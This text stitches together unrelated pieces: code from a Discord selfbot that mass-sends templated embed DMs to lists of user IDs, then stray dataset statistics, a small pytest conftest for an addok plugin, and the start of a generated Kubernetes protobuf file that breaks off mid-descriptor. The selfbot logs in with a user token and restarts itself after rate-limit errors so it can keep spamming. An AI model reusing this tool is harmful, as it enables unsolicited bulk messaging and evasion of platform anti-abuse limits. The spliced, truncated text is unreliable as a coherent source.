f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace( 'selfbot_discriminator', f'{bot.user.discriminator}'), color=discord.Colour.random()) embed_skrr.set_thumbnail(url=f"{embed_thumbnail_url}"), embed_skrr.set_image(url=f"{embed_image_url}"), embed_skrr.set_author(name=f"{embed_author}".replace('user_id', f'{chupapi.id}').replace('user_name', f'{chupapi.name}').replace( 'user_mention', f'<@{chupapi.id}>').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id', f'{bot.user.id}').replace( 'selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace( 'selfbot_discriminator', f'{bot.user.discriminator}'), icon_url=embed_author_icon_url.replace('user_avatar', f'{chupapi.avatar_url}').replace( 'selfbot_avatar', f'{bot.user.avatar_url}')) embed_skrr.set_footer(text=f"{embed_footer}".replace('user_id', f'{chupapi.id}').replace('user_name', f'{chupapi.name}').replace( 'user_mention', f'<@{chupapi.id}>').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id', f'{bot.user.id}').replace( 'selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace( 'selfbot_discriminator', f'{bot.user.discriminator}'), icon_url=embed_footer_icon_url.replace('user_avatar', f'{chupapi.avatar_url}').replace( 'selfbot_avatar', f'{bot.user.avatar_url}')) try: await chupapi.send(embed=embed_skrr) print( f"{Fore.BLUE}{current_time} {Fore.LIGHTGREEN_EX}[+] Sent the embed to {Fore.YELLOW}{chupapi}{Fore.LIGHTGREEN_EX} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") else: pass await asyncio.sleep(pablo) except discord.Forbidden as e: if e.code == 40003: print( f"{Fore.LIGHTYELLOW_EX}You have been Rate Limited\nThe Code will be restarted in 750 seconds - {Fore.RED}{e}") await asyncio.sleep(750) os.execv(sys.executable, ['python'] + sys.argv) continue else: print( f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t send a DM to {Fore.YELLOW}{chupapi}{Fore.RED} - {e} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if always_sleep == "True": if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") await asyncio.sleep(pablo) except discord.HTTPException as e: print(f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t fetch {Fore.YELLOW}{i}{Fore.RED} - {e} {indx} / {len(data)}") if chupapi.id not in penis: await asyncio.sleep(0.01) penis.append(chupapi.id) with open("alreadyusedids.json", "w") as file: await asyncio.sleep(0.01) json.dump(penis, file) else: try: chupapi = await bot.fetch_user(i) embed_skrr = discord.Embed( title=f"{embed_title}".replace('user_id', f'{chupapi.id}').replace('user_name',f'{chupapi.name}').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id',f'{bot.user.id}').replace('selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace('selfbot_discriminator', f'{bot.user.discriminator}'),icon_url=embed_footer_icon_url.replace('user_avatar',f'{chupapi.avatar_url}').replace('selfbot_avatar', f'{bot.user.avatar_url}'), description=f"{embed_description}".replace('user_id', f'{chupapi.id}').replace('user_name',f'{chupapi.name}').replace('user_mention', f'<@{chupapi.id}>').replace('user_discriminator', f'{chupapi.discriminator}').replace('selfbot_id',f'{bot.user.id}').replace('selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace('selfbot_discriminator', f'{bot.user.discriminator}'), color=discord.Colour.random()) embed_skrr.set_thumbnail(url=f"{embed_thumbnail_url}"), embed_skrr.set_image(url=f"{embed_image_url}"), embed_skrr.set_author(name=f"{embed_author}".replace('user_id', f'{chupapi.id}').replace('user_name',f'{chupapi.name}').replace('user_mention', f'<@{chupapi.id}>').replace('user_discriminator',f'{chupapi.discriminator}').replace('selfbot_id',f'{bot.user.id}').replace('selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace('selfbot_discriminator', f'{bot.user.discriminator}'), icon_url=embed_author_icon_url.replace('user_avatar',f'{chupapi.avatar_url}').replace('selfbot_avatar', f'{bot.user.avatar_url}')) embed_skrr.set_footer(text=f"{embed_footer}".replace('user_id', f'{chupapi.id}').replace('user_name',f'{chupapi.name}').replace('user_mention', f'<@{chupapi.id}>').replace('user_discriminator',f'{chupapi.discriminator}').replace('selfbot_id',f'{bot.user.id}').replace('selfbot_name', f'{bot.user.name}').replace('selfbot_mention', f'<@{bot.user.id}>').replace('selfbot_discriminator', f'{bot.user.discriminator}'),icon_url=embed_footer_icon_url.replace('user_avatar',f'{chupapi.avatar_url}').replace('selfbot_avatar', f'{bot.user.avatar_url}')) await chupapi.send(embed=embed_skrr) print(f"{Fore.BLUE}{current_time} {Fore.LIGHTGREEN_EX}[+] Sent the embed to {Fore.YELLOW}{chupapi}{Fore.LIGHTGREEN_EX} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") else: pass await asyncio.sleep(pablo) except discord.Forbidden as e: if e.code == 40003: print(f"{Fore.LIGHTYELLOW_EX}You have been Rate Limited\nThe Code will be restarted in 750 seconds - {Fore.RED}{e}") await asyncio.sleep(750) os.execv(sys.executable, ['python'] + sys.argv) continue else: print(f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t send a DM to {Fore.YELLOW}{chupapi}{Fore.RED} - {e} {indx} / {len(data)}") pablo = random.randint(cooldown, cooldown_max) if always_sleep == "True": if display_sleep == "True": print(f"{Fore.YELLOW}Sleeping {pablo} seconds") await asyncio.sleep(pablo) await asyncio.sleep(pablo) except discord.HTTPException as e: print(f"{Fore.BLUE}{current_time} {Fore.RED}[-] Couldn\'t fetch {Fore.YELLOW}{i}{Fore.RED} - {e} {indx} / {len(data)}") if chupapi.id not in penis: await asyncio.sleep(0.01) penis.append(chupapi.id) with open("alreadyusedids.json", "w") as file: await asyncio.sleep(0.01) json.dump(penis, file) input(f"{Fore.LIGHTGREEN_EX}Press Enter 5 times to close the program.") [input(i) for i in range(4, 0, -1)] print("Goodbye!\nhttps://github.com/hoemotion/mass-dm-discord Don\'t forget to leave a star!!") await sys.exit() print(pyfade.Fade.Horizontal(pyfade.Colors.blue_to_cyan, ''' ███╗ ███╗ █████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ████╗ ████║██╔══██╗██╔════╝██╔════╝ ██╔══██╗████╗ ████║ ██╔████╔██║███████║╚█████╗ ╚█████╗ ██║ ██║██╔████╔██║ ██║╚██╔╝██║██╔══██║ ╚═══██╗ ╚═══██╗ ██║ ██║██║╚██╔╝██║ ██║ ╚═╝ ██║██║ ██║██████╔╝██████╔╝ ██████╔╝██║ ╚═╝ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝''')) print(f'''{Fore.LIGHTWHITE_EX} Made by {Fore.YELLOW}hoemotion {Fore.LIGHTWHITE_EX}Check out the github page for updates: {Fore.LIGHTBLUE_EX}https://github.com/hoemotion/mass-dm-discord/ ''') @bot.event async def on_ready(): if send_embed == "False": await bot.change_presence(status=discord.Status.idle) await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name="github.com/hoemotion")) print(f'{Fore.LIGHTGREEN_EX}Logged in as: {Fore.YELLOW}"{bot.user}" {Fore.LIGHTGREEN_EX}| ID: {Fore.YELLOW}"{bot.user.id}"{Fore.LIGHTGREEN_EX}\nConnected with {Fore.YELLOW}{len(bot.guilds)}{Fore.LIGHTGREEN_EX} Guilds and {Fore.YELLOW}{len(bot.user.friends)} {Fore.LIGHTGREEN_EX}Friends') print(f'{Fore.LIGHTYELLOW_EX}[⚡] Started sending DMs to the IDs\n') await mass_dm() elif send_embed == "True": await bot.change_presence(status=discord.Status.idle) await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name="github.com/hoemotion")) print(f'{Fore.LIGHTGREEN_EX}Logged in as: {Fore.YELLOW}"{bot.user}" {Fore.LIGHTGREEN_EX}| ID: {Fore.YELLOW}"{bot.user.id}"{Fore.LIGHTGREEN_EX}\nConnected with {Fore.YELLOW}{len(bot.guilds)}{Fore.LIGHTGREEN_EX} Guilds and {Fore.YELLOW}{len(bot.user.friends)} {Fore.LIGHTGREEN_EX}Friends') print(f'{Fore.LIGHTYELLOW_EX}[⚡] Started sending Embed Messages to the IDs\n') await mass_dm_embed() else: error_msg() try: bot.run(token, bot=False) except Exception as e: print(f"{Fore.RED}TOKEN ERROR - {e}") error_msg()
64.564972
560
0.540427
2,614
22,856
4.701989
0.095256
0.029615
0.038239
0.022781
0.859897
0.853389
0.844846
0.841591
0.834594
0.826458
0
0.005738
0.30609
22,856
353
561
64.747875
0.751324
0
0
0.740413
0
0.085546
0.383182
0.136813
0
0
0
0
0
1
0.00295
false
0.011799
0.020649
0
0.023599
0.150442
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5a34bac68edc39a2f867c0cebee0dde514e82f2e
103
py
Python
tests/conftest.py
guslubudus/addok-csv
508ceb85824e97688925e05e4caab4ce279c3664
[ "MIT" ]
null
null
null
tests/conftest.py
guslubudus/addok-csv
508ceb85824e97688925e05e4caab4ce279c3664
[ "MIT" ]
null
null
null
tests/conftest.py
guslubudus/addok-csv
508ceb85824e97688925e05e4caab4ce279c3664
[ "MIT" ]
null
null
null
def pytest_configure(): from addok import hooks import addok_csv hooks.register(addok_csv)
20.6
29
0.737864
14
103
5.214286
0.642857
0.219178
0
0
0
0
0
0
0
0
0
0
0.203884
103
4
30
25.75
0.890244
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
true
0
0.5
0
0.75
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
ce8557ff5f1afc420d0f1b77ebcb3ae5141594b2
712,407
py
Python
lang/python/k8s/io/api/core/v1/generated_pb2.py
metaprov/modelaapi
64ab493dd73329196235e15776e5177c72281990
[ "Apache-2.0" ]
5
2022-02-18T03:40:10.000Z
2022-03-01T16:11:24.000Z
lang/python/k8s/io/api/core/v1/generated_pb2.py
metaprov/modelaapi
64ab493dd73329196235e15776e5177c72281990
[ "Apache-2.0" ]
1
2022-01-07T19:59:25.000Z
2022-02-04T01:21:14.000Z
lang/python/k8s/io/api/core/v1/generated_pb2.py
metaprov/modelaapi
64ab493dd73329196235e15776e5177c72281990
[ "Apache-2.0" ]
1
2022-03-25T10:21:43.000Z
2022-03-25T10:21:43.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: k8s.io/api/core/v1/generated.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from k8s.io.apimachinery.pkg.api.resource import generated_pb2 as k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2 from k8s.io.apimachinery.pkg.apis.meta.v1 import generated_pb2 as k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2 from k8s.io.apimachinery.pkg.runtime import generated_pb2 as k8s_dot_io_dot_apimachinery_dot_pkg_dot_runtime_dot_generated__pb2 from k8s.io.apimachinery.pkg.runtime.schema import generated_pb2 as k8s_dot_io_dot_apimachinery_dot_pkg_dot_runtime_dot_schema_dot_generated__pb2 from k8s.io.apimachinery.pkg.util.intstr import generated_pb2 as k8s_dot_io_dot_apimachinery_dot_pkg_dot_util_dot_intstr_dot_generated__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='k8s.io/api/core/v1/generated.proto', package='k8s.io.api.core.v1', syntax='proto2', serialized_options=b'Z\022k8s.io/api/core/v1', create_key=_descriptor._internal_create_key, serialized_pb=b'\n\"k8s.io/api/core/v1/generated.proto\x12\x12k8s.io.api.core.v1\x1a\x34k8s.io/apimachinery/pkg/api/resource/generated.proto\x1a\x34k8s.io/apimachinery/pkg/apis/meta/v1/generated.proto\x1a/k8s.io/apimachinery/pkg/runtime/generated.proto\x1a\x36k8s.io/apimachinery/pkg/runtime/schema/generated.proto\x1a\x33k8s.io/apimachinery/pkg/util/intstr/generated.proto\"i\n AWSElasticBlockStoreVolumeSource\x12\x10\n\x08volumeID\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x11\n\tpartition\x18\x03 \x01(\x05\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\"\xb6\x01\n\x08\x41\x66\x66inity\x12\x36\n\x0cnodeAffinity\x18\x01 \x01(\x0b\x32 .k8s.io.api.core.v1.NodeAffinity\x12\x34\n\x0bpodAffinity\x18\x02 \x01(\x0b\x32\x1f.k8s.io.api.core.v1.PodAffinity\x12<\n\x0fpodAntiAffinity\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.PodAntiAffinity\"2\n\x0e\x41ttachedVolume\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x12\n\ndevicePath\x18\x02 \x01(\t\"N\n\tAvoidPods\x12\x41\n\x0fpreferAvoidPods\x18\x01 \x03(\x0b\x32(.k8s.io.api.core.v1.PreferAvoidPodsEntry\"\x7f\n\x15\x41zureDiskVolumeSource\x12\x10\n\x08\x64iskName\x18\x01 \x01(\t\x12\x0f\n\x07\x64iskURI\x18\x02 \x01(\t\x12\x13\n\x0b\x63\x61\x63hingMode\x18\x03 \x01(\t\x12\x0e\n\x06\x66sType\x18\x04 \x01(\t\x12\x10\n\x08readOnly\x18\x05 \x01(\x08\x12\x0c\n\x04kind\x18\x06 \x01(\t\"s\n\x1f\x41zureFilePersistentVolumeSource\x12\x12\n\nsecretName\x18\x01 \x01(\t\x12\x11\n\tshareName\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\x12\x17\n\x0fsecretNamespace\x18\x04 \x01(\t\"P\n\x15\x41zureFileVolumeSource\x12\x12\n\nsecretName\x18\x01 \x01(\t\x12\x11\n\tshareName\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\"\x82\x01\n\x07\x42inding\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x33\n\x06target\x18\x02 \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\"\x90\x04\n\x19\x43SIPersistentVolumeSource\x12\x0e\n\x06\x64river\x18\x01 \x01(\t\x12\x14\n\x0cvolumeHandle\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\x12\x0e\n\x06\x66sType\x18\x04 \x01(\t\x12]\n\x10volumeAttributes\x18\x05 \x03(\x0b\x32\x43.k8s.io.api.core.v1.CSIPersistentVolumeSource.VolumeAttributesEntry\x12G\n\x1a\x63ontrollerPublishSecretRef\x18\x06 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12?\n\x12nodeStageSecretRef\x18\x07 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x41\n\x14nodePublishSecretRef\x18\x08 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x46\n\x19\x63ontrollerExpandSecretRef\x18\t \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x1a\x37\n\x15VolumeAttributesEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\x99\x02\n\x0f\x43SIVolumeSource\x12\x0e\n\x06\x64river\x18\x01 \x01(\t\x12\x10\n\x08readOnly\x18\x02 \x01(\x08\x12\x0e\n\x06\x66sType\x18\x03 \x01(\t\x12S\n\x10volumeAttributes\x18\x04 \x03(\x0b\x32\x39.k8s.io.api.core.v1.CSIVolumeSource.VolumeAttributesEntry\x12\x46\n\x14nodePublishSecretRef\x18\x05 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x1a\x37\n\x15VolumeAttributesEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\")\n\x0c\x43\x61pabilities\x12\x0b\n\x03\x61\x64\x64\x18\x01 \x03(\t\x12\x0c\n\x04\x64rop\x18\x02 \x03(\t\"\xaa\x01\n\x1c\x43\x65phFSPersistentVolumeSource\x12\x10\n\x08monitors\x18\x01 \x03(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x0c\n\x04user\x18\x03 \x01(\t\x12\x12\n\nsecretFile\x18\x04 \x01(\t\x12\x36\n\tsecretRef\x18\x05 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\x12\x10\n\x08readOnly\x18\x06 \x01(\x08\"\xa5\x01\n\x12\x43\x65phFSVolumeSource\x12\x10\n\x08monitors\x18\x01 \x03(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x0c\n\x04user\x18\x03 \x01(\t\x12\x12\n\nsecretFile\x18\x04 \x01(\t\x12;\n\tsecretRef\x18\x05 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x10\n\x08readOnly\x18\x06 \x01(\x08\"\x8a\x01\n\x1c\x43inderPersistentVolumeSource\x12\x10\n\x08volumeID\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\x12\x36\n\tsecretRef\x18\x04 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretReference\"\x85\x01\n\x12\x43inderVolumeSource\x12\x10\n\x08volumeID\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x10\n\x08readOnly\x18\x03 \x01(\x08\x12;\n\tsecretRef\x18\x04 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\"(\n\x0e\x43lientIPConfig\x12\x16\n\x0etimeoutSeconds\x18\x01 \x01(\x05\"R\n\x12\x43omponentCondition\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\x12\r\n\x05\x65rror\x18\x04 \x01(\t\"\x91\x01\n\x0f\x43omponentStatus\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12:\n\nconditions\x18\x02 \x03(\x0b\x32&.k8s.io.api.core.v1.ComponentCondition\"\x8b\x01\n\x13\x43omponentStatusList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12\x32\n\x05items\x18\x02 \x03(\x0b\x32#.k8s.io.api.core.v1.ComponentStatus\"\xbc\x02\n\tConfigMap\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x11\n\timmutable\x18\x04 \x01(\x08\x12\x35\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\'.k8s.io.api.core.v1.ConfigMap.DataEntry\x12\x41\n\nbinaryData\x18\x03 \x03(\x0b\x32-.k8s.io.api.core.v1.ConfigMap.BinaryDataEntry\x1a+\n\tDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a\x31\n\x0f\x42inaryDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x0c:\x02\x38\x01\"n\n\x12\x43onfigMapEnvSource\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x10\n\x08optional\x18\x02 \x01(\x08\"}\n\x14\x43onfigMapKeySelector\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12\x0b\n\x03key\x18\x02 \x01(\t\x12\x10\n\x08optional\x18\x03 \x01(\x08\"\x7f\n\rConfigMapList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.ConfigMap\"|\n\x19\x43onfigMapNodeConfigSource\x12\x11\n\tnamespace\x18\x01 \x01(\t\x12\x0c\n\x04name\x18\x02 \x01(\t\x12\x0b\n\x03uid\x18\x03 \x01(\t\x12\x17\n\x0fresourceVersion\x18\x04 \x01(\t\x12\x18\n\x10kubeletConfigKey\x18\x05 \x01(\t\"\x9d\x01\n\x13\x43onfigMapProjection\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.KeyToPath\x12\x10\n\x08optional\x18\x04 \x01(\x08\"\xb4\x01\n\x15\x43onfigMapVolumeSource\x12\x46\n\x14localObjectReference\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.KeyToPath\x12\x13\n\x0b\x64\x65\x66\x61ultMode\x18\x03 \x01(\x05\x12\x10\n\x08optional\x18\x04 \x01(\x08\"\xa7\x06\n\tContainer\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05image\x18\x02 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x03 \x03(\t\x12\x0c\n\x04\x61rgs\x18\x04 \x03(\t\x12\x12\n\nworkingDir\x18\x05 \x01(\t\x12\x30\n\x05ports\x18\x06 \x03(\x0b\x32!.k8s.io.api.core.v1.ContainerPort\x12\x32\n\x07\x65nvFrom\x18\x13 \x03(\x0b\x32!.k8s.io.api.core.v1.EnvFromSource\x12\'\n\x03\x65nv\x18\x07 \x03(\x0b\x32\x1a.k8s.io.api.core.v1.EnvVar\x12;\n\tresources\x18\x08 \x01(\x0b\x32(.k8s.io.api.core.v1.ResourceRequirements\x12\x35\n\x0cvolumeMounts\x18\t \x03(\x0b\x32\x1f.k8s.io.api.core.v1.VolumeMount\x12\x37\n\rvolumeDevices\x18\x15 \x03(\x0b\x32 .k8s.io.api.core.v1.VolumeDevice\x12\x30\n\rlivenessProbe\x18\n \x01(\x0b\x32\x19.k8s.io.api.core.v1.Probe\x12\x31\n\x0ereadinessProbe\x18\x0b \x01(\x0b\x32\x19.k8s.io.api.core.v1.Probe\x12/\n\x0cstartupProbe\x18\x16 \x01(\x0b\x32\x19.k8s.io.api.core.v1.Probe\x12\x30\n\tlifecycle\x18\x0c \x01(\x0b\x32\x1d.k8s.io.api.core.v1.Lifecycle\x12\x1e\n\x16terminationMessagePath\x18\r \x01(\t\x12 \n\x18terminationMessagePolicy\x18\x14 \x01(\t\x12\x17\n\x0fimagePullPolicy\x18\x0e \x01(\t\x12<\n\x0fsecurityContext\x18\x0f \x01(\x0b\x32#.k8s.io.api.core.v1.SecurityContext\x12\r\n\x05stdin\x18\x10 \x01(\x08\x12\x11\n\tstdinOnce\x18\x11 \x01(\x08\x12\x0b\n\x03tty\x18\x12 \x01(\x08\"2\n\x0e\x43ontainerImage\x12\r\n\x05names\x18\x01 \x03(\t\x12\x11\n\tsizeBytes\x18\x02 \x01(\x03\"h\n\rContainerPort\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x10\n\x08hostPort\x18\x02 \x01(\x05\x12\x15\n\rcontainerPort\x18\x03 \x01(\x05\x12\x10\n\x08protocol\x18\x04 \x01(\t\x12\x0e\n\x06hostIP\x18\x05 \x01(\t\"\xca\x01\n\x0e\x43ontainerState\x12:\n\x07waiting\x18\x01 \x01(\x0b\x32).k8s.io.api.core.v1.ContainerStateWaiting\x12:\n\x07running\x18\x02 \x01(\x0b\x32).k8s.io.api.core.v1.ContainerStateRunning\x12@\n\nterminated\x18\x03 \x01(\x0b\x32,.k8s.io.api.core.v1.ContainerStateTerminated\"V\n\x15\x43ontainerStateRunning\x12=\n\tstartedAt\x18\x01 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\"\xf1\x01\n\x18\x43ontainerStateTerminated\x12\x10\n\x08\x65xitCode\x18\x01 \x01(\x05\x12\x0e\n\x06signal\x18\x02 \x01(\x05\x12\x0e\n\x06reason\x18\x03 \x01(\t\x12\x0f\n\x07message\x18\x04 \x01(\t\x12=\n\tstartedAt\x18\x05 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12>\n\nfinishedAt\x18\x06 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\x12\x13\n\x0b\x63ontainerID\x18\x07 \x01(\t\"8\n\x15\x43ontainerStateWaiting\x12\x0e\n\x06reason\x18\x01 \x01(\t\x12\x0f\n\x07message\x18\x02 \x01(\t\"\xf4\x01\n\x0f\x43ontainerStatus\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x31\n\x05state\x18\x02 \x01(\x0b\x32\".k8s.io.api.core.v1.ContainerState\x12\x35\n\tlastState\x18\x03 \x01(\x0b\x32\".k8s.io.api.core.v1.ContainerState\x12\r\n\x05ready\x18\x04 \x01(\x08\x12\x14\n\x0crestartCount\x18\x05 \x01(\x05\x12\r\n\x05image\x18\x06 \x01(\t\x12\x0f\n\x07imageID\x18\x07 \x01(\t\x12\x13\n\x0b\x63ontainerID\x18\x08 \x01(\t\x12\x0f\n\x07started\x18\t \x01(\x08\"\x1e\n\x0e\x44\x61\x65monEndpoint\x12\x0c\n\x04Port\x18\x01 \x01(\x05\"Q\n\x15\x44ownwardAPIProjection\x12\x38\n\x05items\x18\x01 \x03(\x0b\x32).k8s.io.api.core.v1.DownwardAPIVolumeFile\"\xb3\x01\n\x15\x44ownwardAPIVolumeFile\x12\x0c\n\x04path\x18\x01 \x01(\t\x12\x39\n\x08\x66ieldRef\x18\x02 \x01(\x0b\x32\'.k8s.io.api.core.v1.ObjectFieldSelector\x12\x43\n\x10resourceFieldRef\x18\x03 \x01(\x0b\x32).k8s.io.api.core.v1.ResourceFieldSelector\x12\x0c\n\x04mode\x18\x04 \x01(\x05\"h\n\x17\x44ownwardAPIVolumeSource\x12\x38\n\x05items\x18\x01 \x03(\x0b\x32).k8s.io.api.core.v1.DownwardAPIVolumeFile\x12\x13\n\x0b\x64\x65\x66\x61ultMode\x18\x02 \x01(\x05\"i\n\x14\x45mptyDirVolumeSource\x12\x0e\n\x06medium\x18\x01 \x01(\t\x12\x41\n\tsizeLimit\x18\x02 \x01(\x0b\x32..k8s.io.apimachinery.pkg.api.resource.Quantity\"y\n\x0f\x45ndpointAddress\x12\n\n\x02ip\x18\x01 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08nodeName\x18\x04 \x01(\t\x12\x36\n\ttargetRef\x18\x02 \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\"Q\n\x0c\x45ndpointPort\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0c\n\x04port\x18\x02 \x01(\x05\x12\x10\n\x08protocol\x18\x03 \x01(\t\x12\x13\n\x0b\x61ppProtocol\x18\x04 \x01(\t\"\xb9\x01\n\x0e\x45ndpointSubset\x12\x36\n\taddresses\x18\x01 \x03(\x0b\x32#.k8s.io.api.core.v1.EndpointAddress\x12>\n\x11notReadyAddresses\x18\x02 \x03(\x0b\x32#.k8s.io.api.core.v1.EndpointAddress\x12/\n\x05ports\x18\x03 \x03(\x0b\x32 .k8s.io.api.core.v1.EndpointPort\"\x84\x01\n\tEndpoints\x12\x42\n\x08metadata\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.apis.meta.v1.ObjectMeta\x12\x33\n\x07subsets\x18\x02 \x03(\x0b\x32\".k8s.io.api.core.v1.EndpointSubset\"\x7f\n\rEndpointsList\x12@\n\x08metadata\x18\x01 \x01(\x0b\x32..k8s.io.apimachinery.pkg.apis.meta.v1.ListMeta\x12,\n\x05items\x18\x02 \x03(\x0b\x32\x1d.k8s.io.api.core.v1.Endpoints\"\x95\x01\n\rEnvFromSource\x12\x0e\n\x06prefix\x18\x01 \x01(\t\x12<\n\x0c\x63onfigMapRef\x18\x02 \x01(\x0b\x32&.k8s.io.api.core.v1.ConfigMapEnvSource\x12\x36\n\tsecretRef\x18\x03 \x01(\x0b\x32#.k8s.io.api.core.v1.SecretEnvSource\"Z\n\x06\x45nvVar\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t\x12\x33\n\tvalueFrom\x18\x03 \x01(\x0b\x32 .k8s.io.api.core.v1.EnvVarSource\"\x8e\x02\n\x0c\x45nvVarSource\x12\x39\n\x08\x66ieldRef\x18\x01 \x01(\x0b\x32\'.k8s.io.api.core.v1.ObjectFieldSelector\x12\x43\n\x10resourceFieldRef\x18\x02 \x01(\x0b\x32).k8s.io.api.core.v1.ResourceFieldSelector\x12\x41\n\x0f\x63onfigMapKeyRef\x18\x03 \x01(\x0b\x32(.k8s.io.api.core.v1.ConfigMapKeySelector\x12;\n\x0csecretKeyRef\x18\x04 \x01(\x0b\x32%.k8s.io.api.core.v1.SecretKeySelector\"\x81\x01\n\x12\x45phemeralContainer\x12N\n\x18\x65phemeralContainerCommon\x18\x01 